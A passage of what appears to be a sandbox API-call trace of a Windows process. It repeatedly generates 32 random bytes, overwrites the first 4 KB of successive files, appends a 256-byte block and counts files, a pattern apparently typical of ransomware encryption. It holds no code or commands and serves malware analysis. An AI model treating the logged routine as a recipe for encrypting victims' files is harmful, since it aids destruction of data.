| out: hHeap=0x540000) returned 1 [0080.846] GetProcessHeap () returned 0x540000 [0080.846] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.847] GetProcessHeap () returned 0x540000 [0080.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.847] GetProcessHeap () returned 0x540000 [0080.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.847] GetProcessHeap () returned 0x540000 [0080.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.847] GetProcessHeap () returned 0x540000 [0080.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.847] GetProcessHeap () returned 0x540000 [0080.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.847] GetProcessHeap () returned 0x540000 [0080.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.847] GetProcessHeap () returned 0x540000 [0080.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.847] GetProcessHeap () returned 0x540000 [0080.847] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0080.847] GetProcessHeap () returned 0x540000 [0080.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.847] GetProcessHeap () returned 0x540000 [0080.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0080.847] GetProcessHeap () returned 0x540000 [0080.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0080.847] GetProcessHeap () returned 0x540000 [0080.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.847] GetProcessHeap () returned 0x540000 [0080.847] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0080.847] SetFilePointerEx (in: hFile=0x7e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.847] WriteFile (in: hFile=0x7e0, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0080.848] WriteFile (in: hFile=0x7e0, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0080.848] GetProcessHeap () returned 0x540000 [0080.848] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0080.848] GetProcessHeap () returned 0x540000 [0080.848] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0080.848] GetProcessHeap () returned 0x540000 [0080.848] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0080.848] CloseHandle (hObject=0x7e0) returned 1 [0080.850] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 27 [0080.850] SetFilePointerEx (in: hFile=0x7e4, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.850] ReadFile (in: hFile=0x7e4, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0080.850] SetFilePointerEx (in: hFile=0x7e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.850] GetProcessHeap () returned 0x540000 [0080.850] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0080.850] GetProcessHeap () returned 0x540000 [0080.851] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0080.851] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0080.851] GetProcessHeap () returned 0x540000 [0080.851] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0080.851] ReadFile (in: hFile=0x7e4, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0080.945] SetFilePointerEx (in: hFile=0x7e4, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.945] WriteFile (in: hFile=0x7e4, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0080.945] GetProcessHeap () returned 0x540000 [0080.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0080.946] GetProcessHeap () returned 0x540000 [0080.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0080.946] GetProcessHeap () returned 0x540000 [0080.946] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0080.946] GetProcessHeap () returned 0x540000 [0080.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0080.946] GetProcessHeap () returned 0x540000 [0080.946] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0080.946] GetProcessHeap () returned 0x540000 [0080.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0080.946] GetProcessHeap () returned 0x540000 [0080.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.946] GetProcessHeap () returned 0x540000 [0080.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.946] GetProcessHeap () returned 0x540000 [0080.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.946] GetProcessHeap () returned 0x540000 [0080.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.946] GetProcessHeap () returned 0x540000 [0080.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.946] GetProcessHeap () returned 0x540000 [0080.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.946] GetProcessHeap () returned 0x540000 [0080.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.946] GetProcessHeap () returned 0x540000 [0080.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.946] GetProcessHeap () returned 0x540000 [0080.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.946] GetProcessHeap () returned 0x540000 [0080.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.946] GetProcessHeap () returned 0x540000 [0080.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.946] GetProcessHeap () returned 0x540000 [0080.946] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.946] GetProcessHeap () returned 0x540000 [0080.946] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.946] GetProcessHeap () returned 0x540000 [0080.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.947] GetProcessHeap () returned 0x540000 [0080.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.947] GetProcessHeap () returned 0x540000 [0080.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.947] GetProcessHeap () returned 0x540000 [0080.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.947] GetProcessHeap () returned 0x540000 [0080.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.947] GetProcessHeap () returned 0x540000 [0080.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.947] GetProcessHeap () returned 0x540000 [0080.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.947] GetProcessHeap () returned 0x540000 [0080.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.947] GetProcessHeap () returned 0x540000 [0080.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.947] GetProcessHeap () returned 0x540000 [0080.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.947] GetProcessHeap () returned 0x540000 [0080.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.947] GetProcessHeap () returned 0x540000 [0080.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.947] GetProcessHeap () returned 0x540000 [0080.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.947] GetProcessHeap () returned 0x540000 [0080.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.947] GetProcessHeap () returned 0x540000 [0080.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.947] GetProcessHeap () returned 0x540000 [0080.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0080.947] GetProcessHeap () returned 0x540000 [0080.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.947] GetProcessHeap () returned 0x540000 [0080.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0080.947] GetProcessHeap () returned 0x540000 [0080.947] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0080.947] GetProcessHeap () returned 0x540000 [0080.947] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0080.948] GetProcessHeap () returned 0x540000 [0080.948] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0080.948] GetProcessHeap () returned 0x540000 [0080.948] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0080.948] GetProcessHeap () returned 0x540000 [0080.948] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0080.948] GetProcessHeap () returned 0x540000 [0080.948] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0080.948] GetProcessHeap () returned 0x540000 [0080.948] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0080.948] GetProcessHeap () returned 0x540000 [0080.948] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0080.948] GetProcessHeap () returned 0x540000 [0080.948] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0080.948] GetProcessHeap () returned 0x540000 [0080.948] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.948] GetProcessHeap () returned 0x540000 [0080.948] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0080.948] GetProcessHeap () returned 0x540000 [0080.948] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.948] GetProcessHeap () returned 0x540000 [0080.948] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.948] GetProcessHeap () returned 0x540000 [0080.948] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.948] GetProcessHeap () returned 0x540000 [0080.948] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.948] GetProcessHeap () returned 0x540000 [0080.948] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.948] GetProcessHeap () returned 0x540000 [0080.948] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.948] GetProcessHeap () returned 0x540000 [0080.948] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.949] GetProcessHeap () returned 0x540000 [0080.949] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.949] GetProcessHeap () returned 0x540000 [0080.949] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.949] GetProcessHeap () returned 0x540000 [0080.949] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.949] GetProcessHeap () returned 0x540000 [0080.949] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.949] GetProcessHeap () returned 0x540000 [0080.949] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.949] GetProcessHeap () returned 0x540000 [0080.949] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.949] GetProcessHeap () returned 0x540000 [0080.949] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.949] GetProcessHeap () returned 0x540000 [0080.949] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.949] GetProcessHeap () returned 0x540000 [0080.949] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.949] GetProcessHeap () returned 0x540000 [0080.949] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.949] GetProcessHeap () returned 0x540000 [0080.949] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.949] GetProcessHeap () returned 0x540000 [0080.949] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.949] GetProcessHeap () returned 0x540000 [0080.949] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.949] GetProcessHeap () returned 0x540000 [0080.949] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0080.950] GetProcessHeap () returned 0x540000 [0080.950] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.950] GetProcessHeap () returned 0x540000 [0080.950] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0080.950] GetProcessHeap () returned 0x540000 [0080.950] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.950] GetProcessHeap () returned 0x540000 [0080.950] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0080.950] GetProcessHeap () returned 0x540000 [0080.950] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0080.950] GetProcessHeap () returned 0x540000 [0080.950] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0080.950] GetProcessHeap () returned 0x540000 [0080.950] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0080.950] GetProcessHeap () returned 0x540000 [0080.950] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0080.950] GetProcessHeap () returned 0x540000 [0080.950] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0080.950] SetFilePointerEx (in: hFile=0x7e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.950] WriteFile (in: hFile=0x7e4, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0080.950] WriteFile (in: hFile=0x7e4, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0080.950] GetProcessHeap () returned 0x540000 [0080.950] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0080.951] GetProcessHeap () returned 0x540000 [0080.951] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0080.951] GetProcessHeap () returned 0x540000 [0080.951] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0080.951] CloseHandle (hObject=0x7e4) returned 1 [0080.952] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 28 [0080.952] SetFilePointerEx (in: hFile=0x7e8, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.952] ReadFile (in: hFile=0x7e8, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0080.952] SetFilePointerEx (in: hFile=0x7e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.953] GetProcessHeap () returned 0x540000 [0080.953] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0080.953] GetProcessHeap () returned 0x540000 [0080.953] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0080.953] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0080.953] GetProcessHeap () returned 0x540000 [0080.953] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0080.953] ReadFile (in: hFile=0x7e8, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0081.048] SetFilePointerEx (in: hFile=0x7e8, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.048] WriteFile (in: hFile=0x7e8, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0081.049] GetProcessHeap () returned 0x540000 [0081.049] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0081.049] GetProcessHeap () returned 0x540000 [0081.049] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.049] GetProcessHeap () returned 0x540000 [0081.049] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0081.049] GetProcessHeap () returned 0x540000 [0081.049] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.049] GetProcessHeap () returned 0x540000 [0081.049] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0081.049] GetProcessHeap () returned 0x540000 [0081.049] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0081.049] GetProcessHeap () returned 0x540000 [0081.049] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.049] GetProcessHeap () returned 0x540000 [0081.049] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.049] GetProcessHeap () returned 0x540000 [0081.049] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.049] GetProcessHeap () returned 0x540000 [0081.049] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.049] GetProcessHeap () returned 0x540000 [0081.049] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.049] GetProcessHeap () returned 0x540000 [0081.049] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.049] GetProcessHeap () returned 0x540000 [0081.049] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.049] GetProcessHeap () returned 0x540000 [0081.049] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.049] GetProcessHeap () returned 0x540000 [0081.049] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.049] GetProcessHeap () returned 0x540000 [0081.050] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.050] GetProcessHeap () returned 0x540000 [0081.050] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.050] GetProcessHeap () returned 0x540000 [0081.050] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.050] GetProcessHeap () returned 0x540000 [0081.050] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.050] GetProcessHeap () returned 0x540000 [0081.050] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.050] GetProcessHeap () returned 0x540000 [0081.050] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.050] GetProcessHeap () returned 0x540000 [0081.050] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.050] GetProcessHeap () returned 0x540000 [0081.050] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.050] GetProcessHeap () returned 0x540000 [0081.050] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.050] GetProcessHeap () returned 0x540000 [0081.050] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.050] GetProcessHeap () returned 0x540000 [0081.050] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.050] GetProcessHeap () returned 0x540000 [0081.050] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.050] GetProcessHeap () returned 0x540000 [0081.050] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.050] GetProcessHeap () returned 0x540000 [0081.050] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.050] GetProcessHeap () returned 0x540000 [0081.050] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.050] GetProcessHeap () returned 0x540000 [0081.050] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.050] GetProcessHeap () returned 0x540000 [0081.050] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.050] GetProcessHeap () returned 0x540000 [0081.050] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.050] GetProcessHeap () returned 0x540000 [0081.050] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.050] GetProcessHeap () returned 0x540000 [0081.051] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0081.051] GetProcessHeap () returned 0x540000 [0081.051] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.051] GetProcessHeap () returned 0x540000 [0081.051] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0081.051] GetProcessHeap () returned 0x540000 [0081.051] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0081.051] GetProcessHeap () returned 0x540000 [0081.051] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0081.051] GetProcessHeap () returned 0x540000 [0081.051] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0081.051] GetProcessHeap () returned 0x540000 [0081.051] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0081.051] GetProcessHeap () returned 0x540000 [0081.051] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0081.051] GetProcessHeap () returned 0x540000 [0081.051] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0081.051] GetProcessHeap () returned 0x540000 [0081.051] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0081.051] GetProcessHeap () returned 0x540000 [0081.051] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0081.051] GetProcessHeap () returned 0x540000 [0081.051] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0081.051] GetProcessHeap () returned 0x540000 [0081.051] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0081.051] GetProcessHeap () returned 0x540000 [0081.051] HeapFree (in: 